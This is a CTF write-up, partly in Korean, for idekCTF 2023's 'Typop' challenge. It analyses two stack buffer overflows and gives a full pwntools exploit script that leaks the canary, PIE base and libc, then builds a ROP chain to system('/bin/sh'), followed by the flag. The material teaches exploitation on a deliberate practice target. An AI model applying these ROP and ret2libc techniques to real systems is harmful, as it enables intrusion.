idek CTF 2023 - Typop (rop)

While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?
nc typop.chal.idek.team 1337

  • [155 solves / 408 points]

Analysis

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

mitigation은 위와 같고, 프로그램 구조는 main 함수에서 while로 getFeedback 함수를 계속 호출하는 구조이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 getFeedback()
{
__int64 buf; // [rsp+Eh] [rbp-12h] BYREF
__int16 v2; // [rsp+16h] [rbp-Ah]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
buf = 0LL;
v2 = 0;
puts("Do you like ctf?");
read(0, &buf, 0x1EuLL); // bof
printf("You said: %s\n", (const char *)&buf);
if ( (_BYTE)buf == 121 )
printf("That's great! ");
else
printf("Aww :( ");
puts("Can you provide some extra feedback?");
read(0, &buf, 0x5AuLL); // bof
return __readfsqword(0x28u) ^ v3;
}

bof가 두 번 발생한다. win 함수가 존재하지만 인자 세 개를 컨트롤 해야해서 사용하기 까다롭다. csu gadget을 이용해야하는데 길이 제한 및 모든 보호기법이 다 걸려있어서 got를 덮을 수가 없어 사용하기가 매우 까다롭다. (2023.01.18 update) 착각했다. csu_gadget으로 풀이하는 것이 인텐이고 해당 풀이는 아래 링크로 확인할 수 있다.

그래서 win 함수를 실행시키는 방향이 아닌 쉘을 획득하는 방향으로 풀이를 진행했다. 첫 번째로 터지는 bof에서 stack, canary, pie를 leak 할 수 있고 이로 인해 rop를 진행하여 libc 주소 또한 구할 수 있다. 결국 그냥 system("/bin/sh\x00")를 실행시켜 쉘을 획득하고 flag를 읽으면 된다.

Solve

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chall')
# p = process('./chall')
p = remote('typop.chal.idek.team', 1337)
libc = ELF('./libc.so.6')

# (1) canary, stack leak
p.sendlineafter('survey?\n', 'y')
p.sendafter('ctf?\n', 'A'*10 + 'B')

p.recvuntil('B')
canary = u64(b'\x00' + p.recv(7))
stack = u64(p.recv(6).ljust(8, b'\x00'))
info('canary: '+ hex(canary))
info('stack: ' + hex(stack))

p.sendafter('feedback?\n', b'A'*10 + p64(canary))

# (2) pie base leak
p.sendlineafter('survey?\n', 'y')
p.sendafter('ctf?\n', b'A'*10 + b'B'*8 + b'C'*7 + b'D')

p.recvuntil('D')
e.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x1447
info('pie base: ' + hex(e.address))

info(hex(e.address+0x14d3))
pop_rdi = e.address + 0x14d3
ret = e.address + 0x101a

payload = b''
payload += b'A' * (0x12-0x8)
payload += p64(canary)
payload += b'B' * 0x8
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(ret)
payload += p64(e.plt['printf'])
payload += p64(ret)
payload += p64(e.address + 0x1410) # main

p.sendafter('feedback?\n', payload)

libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
info(hex(libc.address))

# (3) system('/bin/sh\x00')
p.sendlineafter('survey?\n', 'y')
p.sendafter('ctf?\n', b'A')

payload = b''
payload += b'A' * (0x12-0x8)
payload += p64(canary)
payload += b'B' * 0x8
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret)
payload += p64(libc.sym['system'])

p.sendafter('feedback?\n', payload)

p.interactive()

flag

1
idek{2_guess_typos_do_matter}